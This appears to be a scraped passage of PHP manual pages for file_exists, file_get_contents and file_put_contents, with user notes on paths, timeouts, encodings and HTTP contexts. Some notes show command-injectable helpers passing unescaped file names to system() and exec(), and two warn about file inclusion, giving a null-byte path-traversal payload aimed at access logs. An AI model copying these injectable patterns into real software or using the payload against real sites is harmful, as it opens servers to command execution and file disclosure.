# however, you can specify whether to use ereg or eregi by
# declaring $case as "i" to use eregi rather than ereg

$open = opendir($dir);
while( ($file = readdir($open)) !== false ) {
if ( $func($regExp, $file) ) {
return true;
}
} // End while
return false;
} // End function

Basically if you supply anything but "P" for $regType it will assume you're using EREG regexps. The case should only be blank or "i".
hiro at arkusa dot com 07-Feb-2006 01:23
As of php 5.0.4, many (if not all) php file manipulation functions fail if a file's size is no smaller than 2GB (i.e. 2^31) on the x86 platforms. Even file_exists() fails (always returns FALSE). This puzzled me when I was writing a video file manipulation application.

A simple alternative is like:

function file_exists_2gb($filename) {
    system("test -f $filename", $rval);
    return ($rval == 0);
}
07-Jan-2006 01:08
I wrote this little handy function to check if an image exists in a directory, and if so, return a filename which doesnt exists e.g. if you try 'flower.jpg' and it exists, then it tries 'flower[1].jpg' and if that one exists it tries 'flower[2].jpg' and so on. It works fine at my place. Ofcourse you can use it also for other filetypes than images.

<?php
function imageExists($image,$dir) {

    $i=1; $probeer=$image;

    while(file_exists($dir.$probeer)) {
        $punt=strrpos($image,".");
        if(substr($image,($punt-3),1)!==("[") && substr($image,($punt-1),1)!==("]")) {
            $probeer=substr($image,0,$punt)."[".$i."]".
            substr($image,($punt),strlen($image)-$punt);
        } else {
            $probeer=substr($image,0,($punt-3))."[".$i."]".
            substr($image,($punt),strlen($image)-$punt);
        }
        $i++;
    }
    return $probeer;
}
?>
Fabrizio (staff at bibivu dot com) 21-Dec-2005 06:11
here a function to check if a certain URL exist:
<?php
    function url_exists($url) {
        $a_url = parse_url($url);
        if (!isset($a_url['port'])) $a_url['port'] = 80;
        $errno = 0;
        $errstr = '';
        $timeout = 30;
        if(isset($a_url['host']) && $a_url['host']!=gethostbyname($a_url['host'])){
            $fid = fsockopen($a_url['host'], $a_url['port'], $errno, $errstr, $timeout);
            if (!$fid) return false;
            $page = isset($a_url['path'])  ?$a_url['path']:'';
            $page .= isset($a_url['query'])?'?'.$a_url['query']:'';
            fputs($fid, 'HEAD '.$page.' HTTP/1.0'."\r\n".'Host: '.$a_url['host']."\r\n\r\n");
            $head = fread($fid, 4096);
            fclose($fid);
            return preg_match('#^HTTP/.*\s+[200|302]+\s#i', $head);
        } else {
            return false;
        }
    }
?>

in my CMS, I am using it with those lines:
<?php
        if(!isset($this->f_exist[$image]['exist']))
            if(strtolower(substr($fimage,0,4)) == 'http' || strtolower(substr($fimage,0,4)) == 'www.'){
                if(strtolower(substr($image,0,4)) == 'www.'){
                    $fimage = 'http://'.$fimage;
                    $image = 'http://'.$image;
                }
                $this->f_exist[$image]['exist'] = $this->url_exists($fimage); //for now
            } else {
                $this->f_exist[$image]['exist'] = ($fimage!='' && file_exists($fimage) && is_file($fimage) && is_readable($fimage) && filesize($fimage)>0);
            }
        }
?>
flobee 13-Dec-2005 04:24
file_exists overwrites the last access (atime) !
try:
if (@fclose(@fopen( $file, "r"))) {
                     // true;
                 } else {
                     // false;
                 }
to check if important for you
ihoss dot com at gmail dot com 19-Oct-2005 07:37
The following script checks if there is a file with the same name and adds _n to the end of the file name, where n increases. if img.jpg is on the server, it tries with img_0.jpg, checks if it is on the server and tries with img_1.jpg.
<?php
  $img = "images/".$_FILES['bilde']['name'];
  $t=0;
  while(file_exists($img)){
    $img = "images/".$_FILES['bilde']['name'];
    $img=substr($img,0,strpos($img,"."))."_$t".strstr($img,".");
    $t++;
  }
  move_uploaded_file($_FILES['bilde']['tmp_name'], $img);
?>
phenbach at phenbach dot com 19-Sep-2005 03:37
I recently had an issue with PLESK and copying file to other directories with the move_uploaded file function.

This would work on every linux server except plesk servers. I could figure it out and have yet to find out.  I had to create a work a round and decided to use the exec() function.

As noted above the file_exist() function must need to wait for some time and I found the looking function a waste of resouces and didn't work for me anyway. So this is what I came up with.

function cp($source,$destination){

$cmd="cp -u ".$source ." ".$destination; //create the command string to copy with the update option
exec($cmd); //exec command
$cmd_test="ls -la ".$destination; //list file
exec($cmd_test,$out);
//If the file is present it $out[0] key will contain the file info.
//if it is not present it will be null
if (isset($out[0])){
     return true;
}else{
     return false;
}
    }
davidc at php dot net 13-Sep-2005 01:05
Also while using the file_exists file, please make sure you do not start using stuff like,

<?php

if(file_exists($_GET['file'] . '.php')) {
    include($_GET['file'] . '.php';
}

?>

you could use something like this..

<?php
    $inrep = "./";
    $extfichier = ".php";
    $page = $inrep.basename(strval($_REQUEST["page"]),$extfichier).extfichier;
    if(file_exist($page)) {
        include($page);
    }
?>

or even hardcode it.

  So since pretty much all commercial server(s) have url_fopen on.. you can imagine that file_exists($_GET['file']. '.php')
is rather .. unsecure :)

-David Coallier
tma at 2p dot cz 24-Aug-2005 01:47
If checking for a file newly created by an external program in Windows then file_exists() does not recognize it immediately.  Iy seems that a short timeout may be required.

<?
    $file = 'file.tmp';
    if ($h = popen("start \"bla\" touch $file", "r")) {
      pclose($h);
   // now I would like know if a file was created
   // note: usleep not supported
      $start = gettimeofday();
      while (!file_exists(trim($file, " '\""))) {
        $stop = gettimeofday();
        if ( 1000000 * ($stop['sec'] - $start['sec']) + $stop['usec'] - $start['usec'] > 500000) break;  // wait a moment
     }

     if (file_exists($file))   // now should be reliable
?>
09-Aug-2005 07:20
That is true feshi. But, if you have your server configured correctly, those access logs will only be accessible by an admin or the root account. The webuser account that runs the php script will be unable to start reading from that file. That's the easiest fix.
feshi 04-Aug-2005 03:34
this code looks inocent

<?php
$filename=$_REQUEST["var"];
$filename .= ".data";
file_exist($filename){
  include($filename);
}
?>

but if you pass something like script.php?var=test%00asbs
it should really can do bad things like including accesslog files if you replace "test" with something like "../logs/accesslog"
joe dot knall at gmx dot net 15-Mar-2005 03:59
concerning file_exists and safe_mode:
if safe_mode=ON and $file (in safe_mode_include_dir) is not owned by the user who executes file_exists($file), file_exists returns FALSE but still $file can be included;
I could handle this by setting safe_mode_gid=On and appropriate group-ownership
07-Mar-2005 02:00
Nathaniel, you should read the manual carefuly next time prior to posting anything here, as all you indicated is the fact you missed the idea of the include_path. To remind - include_path is for some functions only, mainly intended for include and require to simpify include/require operations (kinda way the #include works). It is NOT for any filesystem function, which would be damn annoying than helpful, which is quite understandable and obvious.
andrewNOSPAMPLEASE at abcd dot NOSPAMERSca 11-Feb-2005 05:29
file_exists will have trouble finding your file if the file permissions are not read enabled for 'other' when not owned by your php user. I thought I was having trouble with a directory name having a space in it (/users/andrew/Pictures/iPhoto Library/AlbumData.xml) but the reality was that there weren't read permissions on Pictures, iPhoto Library or AlbumData.xml. Once I fixed that, file_exists worked.
Nathaniel 08-Feb-2005 09:08
I spent the last two hours wondering what was wrong with my if statement: file_exists($file) was returning false, however I could call include($file) with no problem.

It turns out that I didn't realize that the php include_path value I had set in the .htaccess file didn't carry over to file_exists, is_file, etc.

Thus:

<?PHP
// .htaccess php_value include_path '/home/user/public_html/';

// includes lies in /home/user/public_html/includes/

//doesn't work, file_exists returns false
if ( file_exists('includes/config.php') )
{
     include('includes/config.php');
}

//does work, file_exists returns true
if ( file_exists('/home/user/public_html/includes/config.php') )
{
    include('includes/config.php');
}
?>

Just goes to show that "shortcuts for simplicity" like setting the include_path in .htaccess can just cause more grief in the long run.
alex at raynor nospam dot ru 05-Apr-2004 08:16
If you use open_basedir in php.ini and use file_exists for file outside open_basedir path, you will not be warned at log and file_exists returns false even if file really exists.
11-Feb-2004 06:32
On nix systems file_exists will report a link that doesn't point to a valid file as non-existant, ie: the link itself exists but the file it points to does not.  Using is_link will report true whether the link points to a valid file or not.
fgetss
file_get_contents
Filesystem Functions


Reads entire file into a string

file_exists
file_put_contents
Filesystem Functions
PHP Manual

file_get_contents

(PHP 4 >= 4.3.0, PHP 5)

file_get_contents — Reads entire file into a string

Description

string file_get_contents ( string $filename [, bool $use_include_path = false [, resource $context [, int $offset = -1 [, int $maxlen ]]]] )

This function is similar to file(), except that file_get_contents() returns the file in a string, starting at the specified offset up to maxlen bytes. On failure, file_get_contents() will return FALSE.

file_get_contents() is the preferred way to read the contents of a file into a string. It will use memory mapping techniques if supported by your OS to enhance performance.

Note:

If you're opening a URI with special characters, such as spaces, you need to encode the URI with urlencode().

Parameters

filename

Name of the file to read.

use_include_path

Note:

As of PHP 5 the FILE_USE_INCLUDE_PATH can be used to trigger include path search.

context

A valid context resource created with stream_context_create(). If you don't need to use a custom context, you can skip this parameter by NULL.

offset

The offset where the reading starts on the original stream.

Seeking (offset) is not supported with remote files. Attempting to seek on non-local files may work with small offsets, but this is unpredictable because it works on the buffered stream.

maxlen

Maximum length of data read. The default is to read until end of file is reached. Note that this parameter is applied to the stream processed by the filters.

Return Values

The function returns the read data or FALSE on failure.

Errors/Exceptions

An E_WARNING level error is generated if either maxlength is less than zero, or if offset exceeds the length of the stream.

Examples

Example #1 Get and output the source of the homepage of a website

<?php
$homepage = file_get_contents('http://www.example.com/');
echo $homepage;
?>

Example #2 Searching within the include_path

<?php
// <= PHP 5
$file = file_get_contents('./people.txt', true);
// > PHP 5
$file = file_get_contents('./people.txt', FILE_USE_INCLUDE_PATH);
?>

Example #3 Reading a section of a file

<?php
// Read 14 characters starting from the 21st character
$section = file_get_contents('./people.txt', NULL, NULL, 20, 14);
var_dump($section);
?>

The above example will output something similar to:

string(14) "lle Bjori Ro"

Example #4 Using stream contexts

<?php
// Create a stream
$opts = array(
  'http'=>array(
    'method'=>"GET",
    'header'=>"Accept-language: en\r\n" .
              "Cookie: foo=bar\r\n"
  )
);

$context = stream_context_create($opts);

// Open the file using the HTTP headers set above
$file = file_get_contents('http://www.example.com/', false, $context);
?>

Changelog

Version | Description
5.1.0 | Added the offset and maxlen parameters.
5.0.0 | Added context support.

Notes

Note: This function is binary-safe.

Tip

A URL can be used as a filename with this function if the fopen wrappers have been enabled. See fopen() for more details on how to specify the filename. See the Supported Protocols and Wrappers for links to information about what abilities the various wrappers have, notes on their usage, and information on any predefined variables they may provide.

Warning

When using SSL, Microsoft IIS will violate the protocol by closing the connection without sending a close_notify indicator. PHP will report this as "SSL: Fatal Protocol Error" when you reach the end of the data. To work around this, the value of error_reporting should be lowered to a level that does not include warnings. PHP 4.3.7 and higher can detect buggy IIS server software when you open the stream using the https:// wrapper and will suppress the warning. When using fsockopen() to create an ssl:// socket, the developer is responsible for detecting and suppressing this warning.

See Also

  • file() - Reads entire file into an array
  • fgets() - Gets line from file pointer
  • fread() - Binary-safe file read
  • readfile() - Outputs a file
  • file_put_contents() - Write a string to a file
  • stream_get_contents() - Reads remainder of a stream into a string
  • stream_context_create() - Create a streams context
  • $http_response_header

User Contributed Notes

pperegrina 21-Dec-2011 11:30
For those having this problem when trying to get_file_contents(url):

Warning: file_get_contents(url): failed to open stream: HTTP request failed!  in xx on line yy

If you are behind a SonicWall firewall, read this:
https://bugs.php.net/bug.php?id=40197
(this little line: uncheck a box in the internal settings of the firewall labled "Enforce Host Tag Search with for CFS")

Apparently by default SonicWall blocks any HTTP request without a "Host:" header, which is the case in the PHP get_file_contents(url) implementation.

This is why, if you try to get the same URL from the same machine with cURL our wget, it works.

I hope this will be useful to someone, it took me hours to find out :)
godwraith01 at yahoo dot com 11-Oct-2011 04:16
I experienced a problem in using hostnames instead straight IP with some server destinations.

If i use file_get_contents("www.jbossServer.example/app1",...)
i will get an 'Invalid hostname' from the server i'm calling.

This is because file_get_contents probably will rewrite your request after getting the IP, obtaining the same thing as :
file_get_contents("xxx.yyy.www.zzz/app1",...)

And you know that many servers will deny you access if you go through IP addressing in the request.

With cURL this problem doesn't exists. It resolves the hostname leaving the request as you set it, so the server is not rude in response.
fibrefox at dynamicfiles dot de 05-Jul-2011 05:45
If you want to insert tracking-scripts into your shopping-system, some scripts doesn't support intelligent detection of HTTPS, so i made a script i put on the server that rewrites 'http' to 'https' in the script, assuming everything has to be UTF-8 encoded (as a fallback it makes a redirect).

It is important that the HTTPS-source DOES exist!

<?php

function file_get_contents_utf8($fn) {
    $opts = array(
        'http' => array(
            'method'=>"GET",
            'header'=>"Content-Type: text/html; charset=utf-8"
        )
    );

    $context = stream_context_create($opts);
    $result = @file_get_contents($fn,false,$context);
    return $result;
}
header("Content-Type: text/html; charset=utf-8");
$tPath = "URL YOU WANT TO MODIFY";
$result = file_get_contents_utf8("http://".$tPath);

if( $result == false){
    header("Location: https://".$tPath); // fallback
    exit();
}
else{
    echo mb_ereg_replace("http","https",$result);
}
?>
andre-s at home dot nl 18-Jun-2011 12:46
If you are getting a failed to open stream message on your windows machine check your hosts file.

127.0.0.1       localhost

must be in it and the IP6 line must be commented

#    ::1             localhost
eric at midkotasolutions dot com 04-Mar-2011 11:26
At least as of PHP 5.3, file_get_contents no longer uses memory mapping.

See comments on this bug report:

http://bugs.php.net/bug.php?id=52802
Stas Trefilov, OpteamIS 22-Feb-2011 07:30
here is another (maybe the easiest) way of doing POST http requests from php using its built-in capabilities. feel free to add the headers you need (notably the Host: header) to further customize the request.

note: this method does not allow file uploads. if you want to upload a file with your request you will need to modify the context parameters to provide multipart/form-data encoding (check out http://www.php.net/manual/en/context.http.php ) and build the $data_url following the guidelines on http://www.w3.org/TR/html401/interact/forms.html#h-17.13.4.2

<?php
/**
make an http POST request and return the response content and headers
@param string $url    url of the requested script
@param array $data    hash array of request variables
@return returns a hash array with response content and headers in the following form:
    array ('content'=>'<html></html>'
        , 'headers'=>array ('HTTP/1.1 200 OK', 'Connection: close', ...)
        )
*/
function http_post ($url, $data)
{
    $data_url = http_build_query ($data);
    $data_len = strlen ($data_url);

    return array ('content'=>file_get_contents ($url, false, stream_context_create (array ('http'=>array ('method'=>'POST'
            , 'header'=>"Connection: close\r\nContent-Length: $data_len\r\n"
            , 'content'=>$data_url
            ))))
        , 'headers'=>$http_response_header
        );
}
?>
Yoga Wibowo Aji 08-Feb-2011 09:10
read text per line and convert to array

for example, the input file is input.txt
the input file containt text below

one
two
three
four
five

++++++++++++++++++++++++++

read value per line

<?php
$data = file_get_contents("input.txt"); //read the file
$convert = explode("\n", $data); //create array separate by new line

for ($i=0;$i<count($convert);$i++)
{
    echo $convert[$i].', '; //write value by index
}
?>

++++++++++++++++++++++++++

Output :

one, two, three, four, five,
john_schlick at hotmail dot com 27-Jan-2011 12:25
For those that need to know the default of $maxLen, it's defined in the php source code as PHP_STREAM_COPY_ALL, and because that is not available to us mere mortal users, that constant is defined as  ((size_t)-1) or -1
contact at webapp dot fr 31-Dec-2010 03:57
When using a URI with a login / password (HTTP or FTP, for an example), you may need to urlencode the password if it contains special characters.
Do not urlencode the whole URI, just the password.

Don't do :
urlencode('ftp://login:mdp%?special@host/dir/file')

Do :
'ftp://login:' . urlencode('mdp%?special') . '@host/dir/file';

Might seem obvious, but is worth noting.
slymak at gmail dot com 06-Dec-2010 03:07
If working file is bigger than 64kb and you getting deadlock. Your buffer is overflow. Here are two way how to avoid that.
1) use temporary file for descriptor
<?php
  $descriptorspec = array(
   0 => array("file", "/tmp/ens/a.ens","r"),  // stdin is a pipe that the child will read from
   1 => array("file", "/tmp/ens/a.html","w"),  // stdout is a pipe that the child will write to
   2 => array("file", "/tmp/ens/error-output.txt", "a") // stderr is a file to write to
  );
?>

2) inline read using stream_set_blocking. PHP doesn't proper handle last part of file.
<?php
  $READ_LEN = 64*1024;
  $MAX_BUF_LEN = 2*$READ_LEN;

  $url = "http://some.domain.com:5984/".$db."/".$member."/contents";
  $src = fopen($url,"r");

  $cwd = '/tmp';
  $cmd['enscript'] = "/usr/bin/enscript";
  $cmd['enscript-options'] = " -q --language=html --color -Ejcl -o -";
  $descriptorspec = array(
    0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
    1 => array("pipe", "w")   // stdout is a pipe that the child will write to
  );

  $ph=proc_open($cmd['enscript']." ".$cmd['enscript-options'],$descriptorspec,$pipes,$cwd);

  stream_set_blocking($src,0);
  stream_set_blocking($pipes[0],0);
  stream_set_blocking($pipes[1],0);

  $CMD_OUT_OPEN = TRUE; $k = 0;
  while (!feof($pipes[1]) || !feof($src) || $k > 0) {
    if (!feof($src) && $k+$READ_LEN <= $MAX_BUF_LEN) {
      $input .= fread($src,$READ_LEN);
      $k = strlen($input);
    }
    if ($k > 0) {
      $l = fwrite($pipes[0],$input);
      $k -= $l;
      $input = substr($input,$l);
    }
    if ($CMD_OUT_OPEN && $k == 0 && feof($src)) {
      fclose($pipes[0]);
      $CMD_OUT_OPEN = FALSE;
    }
    $output = fread($pipes[1],$READ_LEN);
    $outputn = str_replace("<H1>(stdin)</H1>","",$output);
        echo $outputn;
  }

  fclose($pipes[1]);

  $return_value = proc_close($ph);
?>
Anonymous 04-Dec-2010 07:33
The offset is 0 based.  Setting it to 1 will skip the first character of the stream.
kam 26-Nov-2010 03:18
Recently I experienced unexpected behaviour (for me) of file_get_contents('https://......')
Script gets images and file_get_contents('https://......') is in loop operator.
After several iterations Apache Server FastCGI timed out with Internal Server Error in ~30 seconds even if max_execution_time was set to 0. With fopen() fread() pair result was the same.
In different environment Apache mod_php the same script worked without problems.
I solved this changing https requests to http
KrisWebDev 21-Nov-2010 01:17
If your file_get_contents freezes during several seconds, here is maybe your answer:

Beware that the default keepalive timeout of Apache 2.0 httpd is 15 seconds. This is true for HTTP/1.1 connections, which is not the default behavior of file_get_contents but you can force it, especially if you are trying to act as a web browser. I don't know if this is also the case for HTTP/1.0 connections.

Forcing the server to close the connection would make you gain those 15 seconds in your script:

<?php
$context = stream_context_create(array('http' => array('header'=>'Connection: close')));
$content = file_get_contents("http://www.example.com/test.html");
?>

Another way of resolving slowness issues is to use cURL or fsockopen. Bear in mind that contrary to the behavior of web browsers, file_get_contents doesn't return the result when the web page is fully downloaded (i.e. HTTP payload length = value of the response HTTP "Content-Length" header) but when the TCP connection is closed.
I hope this behavior will change in future releases of PHP.
This has been experienced with PHP 5.3.3.
vlad dot wing at gmail dot com 27-Mar-2010 02:03
If you want to check if the function returned error, in case of a HTTP request an, it's not sufficient to test it against false. It may happen the return for that HTTP request was empty. In this case it's better to check if the return value is a bool.

<?php
$result=file_get_contents("http://www.example.com");
if ($result === false)
{
    // treat error
} else {
    // handle good case
}
?>

[EDIT BY thiago: Has enhacements from an anonymous user]
rutger at webjin dot nl 14-Jan-2010 06:22
Sometimes you might get an error opening an http URL.
even though you have set "allow_url_fopen = On" in php.ini

For me the the solution was to also set "user_agent" to something.
ken at wetken dot net 28-Oct-2009 05:00
On Centos 5, and maybe other Red Hat based systems, any attempt to use file_get_contents to access a URL on an http  port other than 80 (e.g. "http://www.example.com:8040/page") may fail with a permissions violation (error 13) unless the box you are running php on has its seLinux set to 'permissive' not 'enforcing' . Otherwise the request doesn't even get out of the box, i.e. the permissions violation is generated locally by seLinux.
corey at effim dot com 09-Jun-2009 02:35
In my dev environment with a relatively low-speed drive (standard SATA 7200RPM) reading a 25MB zip file in 10 times...

<?php

$data = `cat /tmp/test.zip`;
// 1.05 seconds

$fh = fopen('/tmp/test.zip', 'r');
$data = fread($fh, filesize('/tmp/test.zip'));
fclose($fh);
// 1.31 seconds

$data = file_get_contents('/tmp/test.zip');
// 1.33 seconds

?>

However, on a 21k text file running 100 iterations...

<?php

$data = `cat /tmp/test.txt`;
// 1.98 seconds

$fh = fopen('/tmp/test.txt', 'r');
$data = fread($fh, filesize('/tmp/test.txt'));
fclose($fh);
// 0.00082 seconds

$data = file_get_contents('/tmp/test.txt');
// 0.0069 seconds

?>

Despite the comment about file_get_contents being faster do to memory mapping, file_get_contents is slowest in both of the above examples. If you need the best performance out of your production box, you might want to throw together a script to check out which method is fastest for what size files on that particular machine, then optimize your code to check the file size and use the appropriate function for it.
colnector bla-at_bla colnect.com 10-Aug-2008 02:34
A UTF-8 issue I've encountered is that of reading a URL with a non-UTF-8 encoding that is later displayed improperly since file_get_contents() related to it as UTF-8. This small function should show you how to address this issue:

<?php
function file_get_contents_utf8($fn) {
     $content = file_get_contents($fn);
      return mb_convert_encoding($content, 'UTF-8',
          mb_detect_encoding($content, 'UTF-8, ISO-8859-1', true));
}
?>
EOD 07-Aug-2008 05:34
if $filename has a relative path file_get_contents returns the uninterpreted sourcecode of the php-file with all comments etc.

I don't know whether this is a bug or intented or caused by server-configuration.

I think this behaviour should be included in the description of the function.
daniele dot ricci at staff dot dada dot net 05-Aug-2008 04:13
I recently upgraded my server to Slackware 12.0.

After this, a program of mine stopped working: the call to file_get_contents (to an URL served by a custom HTTP server) was returning false without generating any error!

After some investigations I saw this: my custom HTTP server closes the connection at the end of the content. This (without the header "Connection: close") seems to cause the problem I described.

To solve the problem I simply added that header to the answer of my custom HTTP server.
joachimb at gmail dot com 15-Apr-2008 02:38
Setting the timeout properly without messing with ini values:

<?php
$ctx = stream_context_create(array(
    'http' => array(
        'timeout' => 1
        )
    )
);
file_get_contents("http://example.com/", 0, $ctx);
?>
3n1gm4 [at] gmail [dot] com 02-Apr-2008 01:12
This is a nice and simple substitute to get_file_contents() using curl, it returns FALSE if $contents is empty.

<?php
function curl_get_file_contents($URL)
    {
        $c = curl_init();
        curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($c, CURLOPT_URL, $URL);
        $contents = curl_exec($c);
        curl_close($c);

        if ($contents) return $contents;
            else return FALSE;
    }
?>

Hope this help, if there is something wrong or something you don't understand let me know :)
php [spat] hm2k.org 15-Jan-2008 03:58
I decided to make a similar function to this, called file_post_contents, it uses POST instead of GET to call, kinda handy...

<?php
function file_post_contents($url,$headers=false) {
    $url = parse_url($url);

    if (!isset($url['port'])) {
      if ($url['scheme'] == 'http') { $url['port']=80; }
      elseif ($url['scheme'] == 'https') { $url['port']=443; }
    }
    $url['query']=isset($url['query'])?$url['query']:'';

    $url['protocol']=$url['scheme'].'://';
    $eol="\r\n";

    $headers =  "POST ".$url['protocol'].$url['host'].$url['path']." HTTP/1.0".$eol.
                "Host: ".$url['host'].$eol.
                "Referer: ".$url['protocol'].$url['host'].$url['path'].$eol.
                "Content-Type: application/x-www-form-urlencoded".$eol.
                "Content-Length: ".strlen($url['query']).$eol.
                $eol.$url['query'];
    $fp = fsockopen($url['host'], $url['port'], $errno, $errstr, 30);
    if($fp) {
      fputs($fp, $headers);
      $result = '';
      while(!feof($fp)) { $result .= fgets($fp, 128); }
      fclose($fp);
      if (!$headers) {
        //removes headers
        $pattern="/^.*\r\n\r\n/s";
        $result=preg_replace($pattern,'',$result);
      }
      return $result;
    }
}
?>
francois hill 03-Dec-2007 08:56
Seems file looks for the file inside the current working (executing) directory before looking in the include path, even with the FILE_USE_INCLUDE_PATH flag specified.

Same behavior as include actually.

By the way I feel the doc is not entirely clear on the exact order of inclusion (see include). It seems to say the include_path is the first location to be searched, but I have come across at least one case where the directory containing the file including was actually the first to be searched.

Drat.
bearachute at gmail dot com 11-Jul-2007 02:38
If you're having problems with binary and hex data:

I had a problem when trying to read information from a ttf, which is primarily hex data. A binary-safe file read automatically replaces byte values with their corresponding ASCII characters, so I thought that I could use the binary string when I needed readable ASCII strings, and bin2hex() when I needed hex strings.

However, this became a problem when I tried to pass those ASCII strings into other functions (namely gd functions). var_dump showed that a 5-character string contained 10 characters, but they weren't visible. A binary-to-"normal" string conversion function didn't seem to exist and I didn't want to have to convert every single character in hex using chr().

I used unpack with "c*" as the format flag to see what was going on, and found that every other character was null data (ordinal 0). To solve it, I just did

str_replace(chr(0), "", $string);

which did the trick.

This took forever to figure out so I hope this helps people reading from hex data!
tobsn at php dot net 01-May-2007 09:26
you'll find the http response headers in: $http_response_header

;o)
Greg Ambrose (greg at catalina-it dot com dot au) 16-Apr-2007 09:37
[Editors note: As of PHP 5.2.1 you can specify `timeout` context option and pass the context to file_get_contents()]

The only way I could get get_file_contents() to wait for a very slow http request was to set the socket timeout as follows.

 ini_set('default_socket_timeout',    120);
$a = file_get_contents("http://abcxyz.com");

Other times like execution time and input time had no effect.
siegfri3d at gmail dot com 05-Dec-2006 12:52
Use the previous example if you want to request the server for a special part of the content, IF and only if the server accepts the method.
If you want a simple example to ask the server for all the content, but only save a portion of it, do it this way:
<?php
$content=file_get_contents("http://www.google.com",FALSE,NULL,0,20);
echo $content;
?>

This will echo the 20 first bytes of the google.com source code.
fcicqbbs at gmail dot com 04-Aug-2006 01:55
the bug #36857 was fixed.
http://bugs.php.net/36857

Now you may use this code,to fetch the partial content like this:
<?php
$context=array('http' => array ('header'=> 'Range: bytes=1024-', ),);
$xcontext = stream_context_create($context);
$str=file_get_contents("http://www.fcicq.net/wp/",FALSE,$xcontext);
?>
that's all.
richard dot quadling at bandvulc dot co dot uk 15-Nov-2005 02:47
If, like me, you are on a Microsoft network with ISA server and require NTLM authentication, certain applications will not get out of the network. SETI@Home Classic and PHP are just 2 of them.

The workaround is fairly simple.

First you need to use an NTLM Authentication Proxy Server. There is one written in Python and is available from http://apserver.sourceforge.net/. You will need Python from http://www.python.org/.

Both sites include excellent documentation.

Python works a bit like PHP. Human readable code is handled without having to produce a compiled version. You DO have the opportunity of compiling the code (from a .py file to a .pyc file).

Once compiled, I installed this as a service (instsrv and srvany - parts of the Windows Resource Kit), so when the server is turned on (not logged in), the Python based NTLM Authentication Proxy Server is running.

Then, and here is the bit I'm really interested in, you need to tell PHP you intend to route http/ftp requests through the NTLM APS.

To do this, you use contexts.

Here is an example.

<?php

// Define a context for HTTP.
$aContext = array(
    'http' => array(
        'proxy' => 'tcp://127.0.0.1:8080', // This needs to be the server and the port of the NTLM Authentication Proxy Server.
        'request_fulluri' => True,
        ),
    );
$cxContext = stream_context_create($aContext);

// Now all file stream functions can use this context.

$sFile = file_get_contents("http://www.php.net", False, $cxContext);

echo $sFile;
?>

Hopefully this helps SOMEONE!!!
aidan at php dot net 30-Jan-2005 11:23
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
file_exists
file_put_contents
Filesystem Functions


Write a string to a file

file_get_contents
file
Filesystem Functions
PHP Manual

file_put_contents

(PHP 5)

file_put_contents — Write a string to a file

Description

int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )

This function is identical to calling fopen(), fwrite() and fclose() successively to write data to a file.

If filename does not exist, the file is created. Otherwise, the existing file is overwritten, unless the FILE_APPEND flag is set.

Parameters

filename

Path to the file where to write the data.

data

The data to write. Can be either a string, an array or a stream resource.

If data is a stream resource, the remaining buffer of that stream will be copied to the specified file. This is similar with using stream_copy_to_stream().

You can also specify the data parameter as a single dimension array. This is equivalent to file_put_contents($filename, implode('', $array)).

flags

The value of flags can be any combination of the following flags, joined with the binary OR (|) operator.

Available flags
Flag | Description
FILE_USE_INCLUDE_PATH | Search for filename in the include directory. See include_path for more information.
FILE_APPEND | If file filename already exists, append the data to the file instead of overwriting it.
LOCK_EX | Acquire an exclusive lock on the file while proceeding to the writing.

context

A valid context resource created with stream_context_create().

Return Values

The function returns the number of bytes that were written to the file, or FALSE on failure.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

Examples

Example #1 Simple usage example

<?php
$file = 'people.txt';
// Open the file to get existing content
$current = file_get_contents($file);
// Append a new person to the file
$current .= "John Smith\n";
// Write the contents back to the file
file_put_contents($file, $current);
?>

Example #2 Using flags

<?php
$file = 'people.txt';
// The new person to add to the file
$person = "John Smith\n";
// Write the contents to the file,
// using the FILE_APPEND flag to append the content to the end of the file
// and the LOCK_EX flag to prevent anyone else writing to the file at the same time
file_put_contents($file, $person, FILE_APPEND | LOCK_EX);
?>

Changelog

Version | Description
5.0.0 | Added context support
5.1.0 | Added support for LOCK_EX and the ability to pass a stream resource to the data parameter

Notes

Note: This function is binary-safe.

Tip

A URL can be used as a filename with this function if the fopen wrappers have been enabled. See fopen() for more details on how to specify the filename. See the Supported Protocols and Wrappers for links to information about what abilities the various wrappers have, notes on their usage, and information on any predefined variables they may provide.

See Also

  • fopen() - Opens file or URL
  • fwrite() - Binary-safe file write
  • file_get_contents() - Reads entire file into a string
  • stream_context_create() - Create a streams context

User Contributed Notes

vahkos at mail dot ru 22-Jan-2012 08:06
file_putt_contents does not issue an error message if file name is incorrect(for example has improper symbols on the end of it /n,/t)
that is why use trim() for file name.
$name=trim($name);
file_put_contents($name,$content);
caiofior at gmail dot com 27-Oct-2011 01:56
I had some troubles using file_put_contents with an absolute but no canonicalized path (eg. w:/htdocs/pri/../test/log.txt): on windows environment php was unable to create the file also using the realpath function .
I had to use fopen and frwite functions to write the data.
moura dot kadu at gmail dot com 23-Sep-2011 12:18
I made ​​a ftp_put_contents function.

hope you enjoy.

<?php

function ftp_put_contents($fpc_path_and_name, $fpc_content) {

    //Temporary folder in the server
    $cfg_temp_folder = str_replace("//", "/", $_SERVER['DOCUMENT_ROOT']."/_temp/");

    //Link to FTP
    $cfg_ftp_server = "ftp://ftp.com";

    //FTP username
    $cfg_user = "user";

    //FTP password
    $cfg_pass = "password";

    //Document Root of FTP
    $cfg_document_root = "DOCUMENT ROOT OF FTP";

    //Link to the website
    $cfg_site_link = "Link to the website";

    //Check if conteins slash on the path of the file
    $cotains_slash = strstr($fpc_path_and_name, "/");

    //Get filename and paths
    if ($cotains_slash) {
        $fpc_path_and_name_array = explode("/", $fpc_path_and_name);
        $fpc_file_name = end($fpc_path_and_name_array);
    }
    else {
        $fpc_file_name = $fpc_path_and_name;
    }

    //Create local temp dir
    if (!file_exists($cfg_temp_folder)) {
        if (!mkdir($cfg_temp_folder, 0777)) {
            echo "Unable to generate a temporary folder on the local server - $cfg_temp_folder.<br />";
            die();
        }
    }

    //Create local file in temp dir
    if (!file_put_contents(str_replace("//", "/", $cfg_temp_folder.$fpc_file_name), $fpc_content)) {
        echo "Unable to generate the file in the temporary location - ".str_replace("//", "/", $cfg_temp_folder.$fpc_file_name).".<br />";
        die();
    }

    //Connection to the FTP Server
